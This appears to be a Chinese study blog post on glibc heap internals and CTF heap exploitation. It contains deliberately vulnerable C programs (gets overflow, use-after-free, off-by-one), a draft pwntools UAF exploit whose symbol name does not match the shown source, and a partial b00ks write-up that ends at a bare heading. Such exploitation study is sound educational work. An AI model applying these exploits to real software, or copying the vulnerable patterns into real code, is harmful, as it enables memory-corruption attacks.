什么是堆? 在程序运行过程中,堆可以提供动态分配内存,允许程序申请大小未定的内存。其实就是程序虚拟空间的一块连续的线性区域,它由低地址向高地址生长,并称管理堆的程序为:堆管理器。
堆管理器主要进行的工作:
响应用户的申请内存请求,向操作系统申请内存,并将其返回给用户程序。为了保持用户程序的高效性,内核一般都会分配一块很大的连续内存,让堆管理器通过某种算法对其进行管理。只有当堆空间不足时,才会与操作系统进行再次交互
管理用户释放的内存,用户释放的内存并不是直接返回给操作系统,而是由堆管理器进行管理,这样释放的内存可以来响应用户新申请的内存的请求
目前Linux标准发行版中使用的堆分配器是glibc中的堆分配器:ptmalloc2。ptmalloc2主要是通过malloc/free来分配和释放内存块。
————————————————————————————-
堆和栈的区别
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 高地址--->+---------------------------+ | |内核虚拟存储器。 +---------------------------+ | ↓ |栈 | ↓ | | | +---------------------------+ | |文件映射区 +---------------------------+ | | | ↑ | | ↑ | 堆 +---------------------------+ | | bss段、data段 +---------------------------+ | | text段、rodata段 +---------------------------+ | | 保留区域 低地址--->+---------------------------+
Glibc堆管理机制基础 常见的内存管理机制
dlmalloc:通用分配器
ptmalloc2:glibc分配器,继承自dlmalloc,并提供了多线程支持,主要研究对象。
jemalloc:
tcmalloc:
其他:
malloc工作机制 第一次调用malloc
内存分配机制 头文件:#include<ubistd.h>
函数原型:int brk(void* end_data_segment)
功能和作用:用于设置program_break指向的位置。
函数原型:void* sbrk(intptr_t increment)
功能和作用:同brk(),参数可以是负数。执行成功返回上一次program_break的值,可以设置参数为0返回当前的program_break.
功能和作用:当用户申请空间大于等于128kb,也就是0x20000字节时,不再使用brk()进行分配,改为使用mmap()。
功能和作用:堆mmap()申请的空间进行回收。
第二次调用malloc
只要分配的空间不超过128kb,则不会再次向system申请空间,超过时才会调用brk()进行扩展。
即使将main_arena全部free,也不会立即把内存还给操作系统,此时内存由glib进行管理。
chunk chunk是glibc管理内存的基本单元。主要分为以下几类:
alloced chunk:已分配正在使用中的chunk。
free chunk:已经free的chunk。
top chunk:可以理解为地址的最高处,还没有分配的chunk。
last raemainder chunk:是为了提高内存分配的局部性。
chunk = chunk header + user data,malloc返回给用户的其实是user data指针,具体如下图:
alloced chunk
size:本chunk的大小,包括prev,大小为8的整数倍。32位以8字节对齐,最小为0x10。64位以16字节对齐,最小为0x20。其中低三位有特殊含义,分别为N、M、P
N位:是否属于主进程。
M位:是否由mmap()分配。
P位:前一堆块占用标志,1为占用,0为空闲。
当P位为0时,表示前一堆块释放,prev表示前一堆块的大小。当P位为1,表示前一堆块使用,prev表示前一堆块的数据。
userdata为输入的数据。
将下一堆块的P位设置为1
free chunk
其中fd、bk属于链表指针,有特殊用途,后面会讲到。
prev_size为当前释放块的大小(包含chunk header)
下一堆块P位通常被设置为0(fastbin除外)。
top chcunk
该堆块位于前两种堆块之后,头部结构与alloced相似
size:top chunk还有多少空间可以分配。
重要的是P位:0表示上一堆块处于空闲,1表示上一堆块处于使用状态。主要用于判断free时是否能与上一堆块进行合并(fastbin除外)。
last remainder chunk
在malloc时,如果有比较大的chunk可以分配,会把这个chunk分成两部分,一部分返回给用户,另一部分称为remainder,加入到 unsorted bin,last remainder会记录最近拆分的remainder。这个remainder大小至少要为MINSIZE,否则不能拆分。
当下次malloc时,如果last remainder chunk够大,则重复上一过程。
拆分的情况:fast bin 和 small bin 都没有合适的chunk,同时unsorted bin有且只有一个可拆分的chunk,并且这个chunk 是last remainder。
堆空闲块管理结构bin 当alloced chunk被释放后,会根据大小放入bin或者合并到top chunk 中去。bin的主要作用时加快分配速度,通过链表方式(chunk中的fd和bk指针)进行管理。主要有以下几种,顾名思义:
fast bin
unsorted bin
small bin
large bin
fastbinsY:这是一个bin数组,里面有NFASTBINS个fast bin
bins:也是一个bin数组,一共有126个bin,按顺序分别是:
bin 1 为unsorted bin
bin 2 到 bin 63 为small bin
bin 64 到 bin 126 为 large bin
fast bin
这类bin通常申请和释放的堆块都比较小,所以使用单链表结构,LIFO(后进先出)分配策略。
为了速度,fast bin不会进行合并,下一个chunk始终处于使用状态。
在fastbinsY数组里按照从小到大的顺序排列。
以64位为例,fast bin结构如下(大小区间0x200x80,32位为0x100x40):
————————————————————————————- Ptmalloc2
malloc_chunk
概述: malloc申请的内存为chunk,这块ptmalloc内部用malloc_chunk结构体来表示,当chunk被free后,会被加入相应的空闲管理列表中。
要注意的是,无论一个chunk的大小如何,处于分配的状态和释放的状态,它们都使用同一的结构
结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 struct malloc_chunk { INTERNAL_SIZE_T prev_size; INTERNAL_SIZE_T size; struct malloc_chunk * fd; struct malloc_chunk * bk; struct malloc_chunk * fd_nextsize; struct malloc_chunk * bk_nextsize; };
结构体解释:
prev_size:类型:INTERNAL_SIZE_T |说明:表示当前一个内存块的大小(只有当前块是空闲块时才有用)。
size:类型:INTERNAL_SIZE_T |说明:当前块的大小,即当前块的总字节数。
fd和bk: 类型:struct malloc_chunk* |说明:这两个字段实现了一个双向链表,用于管理空闲的内存块,当内存块空闲时,它会被放进空闲链表中,fd只想下一空闲块的指针 bk指向上一空闲块的指针。
fd_nextsize和bk_nextsize: 类型:struct malloc_chunk* |说明:管理按大小排序的空闲链表,它们在内存分配器处理中,大块空闲内存块的管理尤其重要。这些指针帮助维护一个按大小排列的空闲块链表,使得分配器可以迅速找到合适大小的块来满足分配请求。
下面简单看一下已经分别chunk的结构如下:
我们称呼前两字段为chunk header,后面的部分称为user data ,每次malloc申请的内存指针,其实指向user data的起始处
当一个chunk处于使用状态时,它的下一个chunk的prev_size域无效,所以下一个chunk的该部分也可以被当前chunk使用,这就是chunk的空间复用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk, if unallocated (P clear) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of chunk, in bytes |A|M|P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | User data starts here... . . . . (malloc_usable_size() bytes ) . next . |chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | (size of chunk, but used for application data) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of next chunk, in bytes |A|0 |1 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
具体一点如下:
被释放的chunk结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk, if unallocated (P clear) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `head:' | Size of chunk, in bytes |A|0|P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Forward pointer to next `chunk` in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Back pointer to previous `chunk` in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Unused space (may be 0 bytes long) . . . next . | chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `foot:' | Size of chunk, in bytes | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of next chunk, in bytes |A|0 |0 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
可以发现,如果一个 chunk
处于 free 状态,那么会有两个位置记录其相应的大小
本身的 size 字段会记录,
它后面的 chunk
会记录。
一般情况下 ,物理相邻的两个空闲 chunk
会被合并为一个 chunk
。堆管理器会通过 prev_size 字段以及 size 字段合并两个物理相邻的空闲 chunk
块。
bin
我们说用户释放的chunk不会马上归还给系统,ptmalloc会统一管理heap和mmap映射区的空闲chunk。当用户再一次请求分配内存时,ptmalloc分配器会试图在空闲的chunk中挑选一块合适的给用户 ,以此来避免频繁的系统调用,降低内存的分配开销。
ptmalloc采用分箱式方法堆空闲的chunk继续管理,首先,他会根据空闲的chunk的大小以及使用状态将chunk分为4类:fast bins,small bins,large bins,unsorted bin
对于 small bins,large bins,unsorted bin 来说,ptmalloc 将它们维护在同一个数组中。这些 bin 对应的数据结构在 malloc_state 中,如下
1 2 3 #define NBINS 128 mchunkptr bins[ NBINS * 2 - 2 ];
bins主要用于索引不通的bin的fd和bk。
为了简化在双链接列表的使用,每个bin的header都设置为malloc_chunk类型,这样可以避免header类型及其特殊处理。但是,为了节省空间和提高局部性,只分配bin的fd/bk指针,然后使用 repositioning tricks 将这些指针视为一个malloc_chunk*
的字段。
数组中的bin以此如下:
1、第一个为unsorted bin,这里的chunk没有排序,储存的chunk比较杂。
2、2-63的称为small bin ,同一个small bin中的堆块大小相同。两个相邻的small bin 链表中的chunk大小相差的字节数为2个机器字长 (64位下是16字节,32位下是8字节)
3、small后面必然是large bins 它每个bin中都包含一定范围的chunk,其中的chunk按照fd的指针顺序从大到小派序,相同的chunk按照最近使用顺序排序。
注意的是任意两个物理相邻的空闲chunk不能在一起。
4、并不是所有的chunk被释放后就会立即放进bin中,为了提高分配速度,会把一些小的chunk先放到fast bins的容器内,而且,fastbin容器中的chunk使用标记总是被置位的,所有不满足上面的条件。
大多数程序经常会申请以及释放一些比较小的内存块。如果将一些较小的 chunk
释放之后发现存在与之相邻的空闲的 chunk
并将它们进行合并,那么当下一次再次申请相应大小的 chunk
时,就需要对 chunk
进行分割,这样就大大降低了堆的利用效率。因为我们把大部分时间花在了合并、分割以及中间检查的过程中。 因此,ptmalloc 中专门设计了 fast bin,对应的变量就是 malloc state 中的 fastbins
每个 bin 采取 LIFO 策略(跟栈是一样的)
small bin 要注意的是它采用的是FIFO 的规则,也就是先进先出
large bin
unsorted bin unsorted bin 中的空闲 chunk
处于乱序状态,主要有两个来源
当一个较大的 chunk
被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
释放一个不属于 fast bin 的 chunk,并且该 chunk
不和 top chunk
紧邻时,该 chunk
会被首先放到 unsorted bin 中。关于 top chunk
的解释,请参考下面的介绍。
此外,Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO 。
Top chunk
简单理解一下它的原理吧
程序第一次进行 malloc 的时候,heap 会被分为两块,一块给用户,剩下的那块就是 top chunk。
所谓的 top chunk
就是处于当前堆的物理地址最高的 chunk。这个 chunk
不属于任何一个 bin,它的作用在于当所有的 bin 都无法满足用户请求的大小时,如果其大小不小于指定的大小,就进行分配,并将剩下的部分作为新的 top chunk。否则,就对 heap 进行扩展后再进行分配。在 main arena 中通过 sbrk 扩展 heap,而在 thread arena 中通过 mmap 分配新的 heap。
需要注意的是,top chunk
的 prev_inuse 比特位始终为 1,否则其前面的 chunk 就会被合并到 top chunk 中。
unlink unlink 用来将一个双向链表(只存储空闲的 chunk)中的一个元素取出来,可能在以下地方使用
malloc
从恰好大小合适的 large bin 中获取 chunk。
这里需要注意的是 fastbin 与 small bin 就没有使用 unlink,这就是为什么漏洞会经常出现在它们这里的原因。
依次遍历处理 unsorted bin 时也没有使用 unlink 。
从比请求的 chunk 所在的 bin 大的 bin 中取 chunk。
free
后向合并,合并物理相邻低地址空闲 chunk。
前向合并,合并物理相邻高地址空闲 chunk(除了 top chunk)。
malloc_consolidate
后向合并,合并物理相邻低地址空闲 chunk。
前向合并,合并物理相邻高地址空闲 chunk(除了 top chunk)。
realloc
前向扩展,合并物理相邻高地址空闲 chunk(除了 top chunk)。
————————————————————————————- 堆溢出 源码:
1 2 3 4 5 6 7 8 9 10 #include <stdio.h> int main (void ) { char *chunk; chunk=malloc (24 ); puts ("Get input:" ); gets (chunk); return 0 ; }
怎么说呢?看起来也是得慢慢来吧!
gets函数很明显的溢出风险,只不过这里换成了堆块的申请。
原理:输入的字符串过长会导致溢出chunk的区域并覆盖到其后的top chunk 之中 (实际上 puts 内部会调用 malloc 分配堆内存,覆盖到的可能并不是 top chunk)。
还是简单看一下吧,输入之前看一下堆块的状况
简单解释一下
top chunk和allocated chunk没啥说的
**PREV_INUSE
**:表示前一个堆块是否在使用。
**IS_MMAPPED
**:如果设置,表示该堆块是通过 mmap
映射到进程的内存空间,而非通过 malloc
动态分配的。
**IS_FREE
**:表示该块是否是空闲块。如果标志位包含这个值,意味着这个块已经被释放并准备被重用。
**INUSE
**:表示当前堆块正在被使用,未被释放。
看一下输入之前的堆情况
我们看
超过限制是这样的
我们先看一下heap在看一下具体情况
这里又拓展了calloc 函数和realloc 函数
1 2 3 4 calloc (0x20 );ptr=malloc (0x20 ); memset (ptr,0 ,0x20 );
1 2 3 4 5 6 7 8 9 #include <stdio.h> int main (void ) { char *chunk,*chunk1; chunk=malloc (16 ); chunk1=realloc (chunk,32 ); return 0 ; }
当 realloc(ptr,size) 的 size 不等于 ptr 的 size 时
如果申请 size > 原来 size
如果 chunk 与 top chunk 相邻,直接扩展这个 chunk 到新 size 大小
如果 chunk 与 top chunk 不相邻,相当于 free(ptr),malloc(new_size)
如果申请 size < 原来 size
如果相差不足以容得下一个最小 chunk(64 位下 32 个字节,32 位下 16 个字节),则保持不变
如果相差可以容得下一个最小 chunk,则切割原 chunk 为两部分,free 掉后一部分
当 realloc(ptr,size) 的 size 等于 0 时,相当于 free(ptr)
当 realloc(ptr,size) 的 size 等于 ptr 的 size,不进行任何操作
堆漏洞 UAF
uaf漏洞通常就是内存块被释放后,其对应的指针没有被置为NULL,然后在下一次使用前,有相应的代码对这块内存进行了修改,当程序再次使用相同的内存空间的时候,我们就能覆盖原来的地址,从而返回我们想要执行的函数的地址。 我们通常称释放后没有被置为NULL 指针为dangling pointer。
参考题目:ctfshow-pwn141
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 #include <stdio.h> #include <stdlib.h> #include <unistd.h> struct note { void (*printnote)(); char *content; }; struct note *notelist[5 ];int count = 0 ;void print_note_content (struct note *this ) { puts (this ->content); }void add_note () { int i; char buf[8 ]; int size; if (count > 5 ) { puts ("Full" ); return ; } for (i = 0 ; i < 5 ; i++) { if (!notelist[i]) { notelist[i] = (struct note *)malloc (sizeof (struct note)); if (!notelist[i]) { puts ("Alloca Error" ); exit (-1 ); } notelist[i]->printnote = print_note_content; printf ("Note size :" ); read (0 , buf, 8 ); size = atoi (buf); notelist[i]->content = (char *)malloc (size); if (!notelist[i]->content) { puts ("Alloca Error" ); exit (-1 ); } printf ("Content :" ); read (0 , notelist[i]->content, size); puts ("Success !" ); count++; break ; } } } void del_note () { char buf[4 ]; int idx; printf ("Index :" ); read (0 , buf, 4 ); idx = atoi (buf); if (idx < 0 || idx >= count) { puts ("Out of bound!" ); _exit(0 ); } if (notelist[idx]) { free (notelist[idx]->content); free (notelist[idx]); puts ("Success" ); } } void print_note () { char buf[4 ]; int idx; printf ("Index :" ); read (0 , buf, 4 ); idx = atoi (buf); if (idx < 0 || idx >= count) { puts ("Out of bound!" ); _exit(0 ); } if (notelist[idx]) { notelist[idx]->printnote (notelist[idx]); } } void magic () { system ("cat flag" ); }void menu () { puts ("----------------------" ); puts (" HackNote " ); puts ("----------------------" ); puts (" 1. Add note " ); puts (" 2. Delete note " ); puts (" 3. Print note " ); puts (" 4. Exit " ); puts ("----------------------" ); printf ("Your choice :" ); }; int main () { setvbuf (stdout, 0 , 2 , 0 ); setvbuf (stdin, 0 , 2 , 0 ); char buf[4 ]; while (1 ) { menu (); read (0 , buf, 4 ); switch (atoi (buf)) { case 1 : add_note (); break ; case 2 : del_note (); break ; case 3 : print_note (); break ; case 4 : exit (0 ); break ; default : puts ("Invalid choice" ); break ; } } return 0 ; }
漏洞点:
1 2 3 4 5 6 if (notelist[idx]) { free (notelist[idx]->content); free (notelist[idx]); puts ("Success" ); }
先简单写一下,后面再详细补
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) io = process('./pwn' ) elf = ELF('./pwn' ) use = elf.sym['use' ] def add (size, content ): io.recvuntil("choice :" ) io.sendline("1" ) io.recvuntil(":" ) io.sendline(str (size)) io.recvuntil(":" ) io.sendline(content) def delete (idx ): io.recvuntil("choice :" ) io.sendline("2" ) io.recvuntil(":" ) io.sendline(str (idx)) def show (idx ): io.recvuntil("choice :" ) io.sendline("3" ) io.recvuntil(":" ) io.sendline(str (idx)) add(32 , "aaaa" ) add(32 , "bbbb" ) delete(0 ) delete(1 ) add(8 , p32(use)) show(0 ) io.interactive()
off-by-one
严格来说 off-by-one 漏洞是一种特殊的溢出漏洞,off-by-one 指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节 。
原理: off-by-one 是指单字节缓冲区溢出,这种漏洞的产生往往与边界验证不严和字符串操作有关,当然也不排除写入的 size 正好就只多了一个字节的情况。其中边界验证不严通常包括
使用循环语句向堆块中写入数据时,循环的次数设置错误(这在 C 语言初学者中很常见)导致多写入了一个字节。
字符串操作不合适
此外,需要说明的一点是 off-by-one 是可以基于各种缓冲区的,比如栈、bss 段等等,但是堆上(heap based)的 off-by-one 是 CTF 中比较常见的。我们这里仅讨论堆上的 off-by-one 情况。
常见思路:
溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。也可使用 NULL 字节溢出的方法
溢出字节为 NULL 字节:在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use
位被清,这样前块会被认为是 free 块。(1) 这时可以选择使用 unlink 方法(见 unlink 部分)进行处理。(2) 另外,这时 prev_size
域就会启用,就可以伪造 prev_size
,从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size
找到的块的大小与prev_size
是否一致。
没太看懂,直接看下面他举得例子了
例一:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int my_gets (char *ptr,int size) { int i; for (i=0 ;i<=size;i++) { ptr[i]=getchar (); } return i; } int main () { void *chunk1,*chunk2; chunk1=malloc (16 ); chunk2=malloc (16 ); puts ("Get Input:" ); my_gets (chunk1,16 ); return 0 ; }
很明显的在调用函数的时候我们看见我们比申请的堆块多了一个字节,简单调试看一下还是很简单的。
我们再看一下输入完之后
例二:
第二种常见的导致 off-by-one 的场景就是字符串操作了,常见的原因是字符串的结束符计算有误。
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int main (void ) { char buffer[40 ]="" ; void *chunk1; chunk1=malloc (24 ); puts ("Get Input" ); gets (buffer); if (strlen (buffer)==24 ) { strcpy (chunk1,buffer); } return 0 ; }
程序乍看上去没有任何问题(不考虑栈溢出),可能很多人在实际的代码中也是这样写的。 但是 strlen 和 strcpy 的行为不一致却导致了 off-by-one 的发生。 strlen 是我们很熟悉的计算 ascii 字符串长度的函数,这个函数在计算字符串长度时是不把结束符 '\x00'
计算在内的,但是 strcpy 在复制字符串时会拷贝结束符 '\x00'
。这就导致了我们向 chunk1 中写入了 25 个字节,我们使用 gdb 进行调试可以看到这一点。
怎么说呢?简单来说就是strlen和strcpy函数之间的小区别吧
strlen函数是遇到\x00就结束了,但是strcpy函数是会把\x00也拷贝进去,这里我们调试一下康康
这里确实看见了\x00(0400)字符。说明虽然是申请了0x24个堆块但确实是多了一字节。
可以看到 next chunk 的 size 域低字节被结束符 '\x00'
覆盖,这种又属于 off-by-one 的一个分支称为 NULL byte off-by-one,我们在后面会看到 off-by-one 与 NULL byte off-by-one 在利用上的区别。 还是有一点就是为什么是低字节被覆盖呢,因为我们通常使用的 CPU 的字节序都是小端法的,比如一个 DWORD 值在使用小端法的内存中是这样储存的
1 2 DWORD 0x41424344 内存 0x44 ,0x43 ,0x42 ,0x41
实例: Asis CTF 2016 b00ks
日常检查
1 2 3 4 5 6 7 8 bbq@ubuntu:~$ checksec b00ks [*] '/home/bbq/b00ks' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled bbq@ubuntu:~$
没啥说的,菜单题型
看下主函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 __int64 __fastcall main (int a1, char **a2, char **a3) { struct _IO_FILE *v3; int v5; setvbuf (stdout, 0LL , 2 , 0LL ); v3 = stdin; setvbuf (stdin, 0LL , 1 , 0LL ); sub_A77 (v3); change (v3); while ( 1 ) { v5 = menu (v3); if ( v5 == 6 ) break ; switch ( v5 ) { case 1 : create (v3); break ; case 2 : del (v3); break ; case 3 : edit (v3); break ; case 4 : print (v3); break ; case 5 : change (v3); break ; default : v3 = "Wrong option" ; puts ("Wrong option" ); break ; } } puts ("Thanks to use our library software" ); return 0LL ; } __int64 create () { int v1; int v2; void *v3; void *ptr; void *v5; v1 = 0 ; printf ("\nEnter book name size: " ); __isoc99_scanf("%d" , &v1); if ( v1 < 0 ) goto LABEL_2; printf ("Enter book name (Max 32 chars): " ); ptr = malloc (v1); if ( !ptr ) { printf ("unable to allocate enough space" ); goto LABEL_17; } if ( sub_9F5 (ptr, (v1 - 1 )) ) { printf ("fail to read name" ); goto LABEL_17; } v1 = 0 ; printf ("\nEnter book description size: " ); __isoc99_scanf("%d" , &v1); if ( v1 < 0 ) { LABEL_2: printf ("Malformed size" ); } else { v5 = malloc (v1); if ( v5 ) { printf ("Enter book description: " ); if ( sub_9F5 (v5, (v1 - 1 )) ) { printf ("Unable to read description" ); } else { v2 = sub_B24 (); if ( v2 == -1 ) { printf ("Library is full" ); } else { v3 = malloc (0x20uLL ); if ( v3 ) { *(v3 + 6 ) = v1; *(off_202010 + v2) = v3; *(v3 + 2 ) = v5; *(v3 + 1 ) = ptr; *v3 = ++unk_202024; return 0LL ; } printf ("Unable to allocate book struct" ); } } } else { printf ("Fail to allocate memory" ); } } LABEL_17: if ( ptr ) free (ptr); if ( v5 ) free (v5); if ( v3 ) free (v3); return 1LL ; } __int64 del () { int v1; int i; i = 0 ; printf ("Enter the book id you want to delete: " ); __isoc99_scanf("%d" , &v1); if ( v1 > 0 ) { for ( i = 0 ; i <= 19 && (!*(off_202010 + i) || **(off_202010 + i) != v1); ++i ) ; if ( i != 20 ) { free (*(*(off_202010 + i) + 8LL )); free (*(*(off_202010 + i) + 16LL )); free (*(off_202010 + i)); *(off_202010 + i) = 0LL ; return 0LL ; } printf ("Can't find selected book!" ); } else { printf ("Wrong id" ); } return 1LL ; } __int64 edit () { int v1; int i; printf ("Enter the book id you want to edit: " ); __isoc99_scanf("%d" , &v1); if ( v1 > 0 ) { for ( i = 0 ; i <= 19 && (!*(off_202010 + i) || **(off_202010 + i) != v1); ++i ) ; if ( i == 20 ) { printf ("Can't find selected book!" ); } else { printf ("Enter new book description: " ); if ( !sub_9F5 (*(*(off_202010 + i) + 16LL ), (*(*(off_202010 + i) + 24LL ) - 1 )) ) return 0LL ; printf ("Unable to read new description" ); } } else { printf ("Wrong id" ); } return 1LL ; } int print () { __int64 v0; int i; for ( i = 0 ; i <= 19 ; ++i ) { v0 = *(off_202010 + i); if ( v0 ) { printf ("ID: %d\n" , **(off_202010 + i)); printf ("Name: %s\n" , *(*(off_202010 + i) + 8LL )); printf ("Description: %s\n" , *(*(off_202010 + i) + 16LL )); LODWORD (v0) = printf ("Author: %s\n" , off_202018); } } return v0; } __int64 change () { printf ("Enter author name: " ); if ( !sub_9F5 (off_202018, 32LL ) ) return 0LL ; printf ("fail to read author_name" ); return 1LL ; }
结构体如下:
1 2 3 4 5 6 7 struct book { int id; char *name; char *description; int size; }
先看一下create函数,大体来说就是book结构中存在name和description,name和description在堆上分配。首先分配name buffer,使用malloc,大小自定但是小于32,之后分配description,同样大小自定但是无限制。
之后分配book的结构内存。
1 2 3 4 5 6 7 8 9 10 v3 = malloc (0x20uLL ); if ( v3 ) { *(v3 + 6 ) = v1; *(off_202010 + v2) = v3; *(v3 + 2 ) = v5; *(v3 + 1 ) = ptr; *v3 = ++unk_202024; return 0LL ; }
漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 __int64 __fastcall my_read (_BYTE *a1, int a2) { int i; if ( a2 <= 0 ) return 0LL ; for ( i = 0 ; ; ++i ) { if ( read (0 , a1, 1uLL ) != 1 ) return 1LL ; if ( *a1 == 10 ) break ; ++a1; if ( i == a2 ) break ; } *a1 = 0 ; return 0LL ; }
利用:
因为程序中的 my_read 函数存在 null byte off-by-one ,事实上 my_read 读入的结束符 ‘\x00’ 是写入到 0x555555756060 的位置的。这样当 0x555555756060~0x555555756068 写入 book 指针时就会覆盖掉结束符 ‘\x00’ ,所以这里是存在一个地址泄漏的漏洞。通过打印 author name 就可以获得 pointer array 中第一项的值。
1 2 3 4 5 0x555555756040 : 0x6161616161616161 0x6161616161616161 0x555555756050 : 0x6161616161616161 0x6161616161616161 <== author name0x555555756060 : 0x0000555555757480 <== pointer array 0x0000000000000000 0x555555756070 : 0x0000000000000000 0x0000000000000000 0x555555756080 : 0x0000000000000000 0x0000000000000000
house of force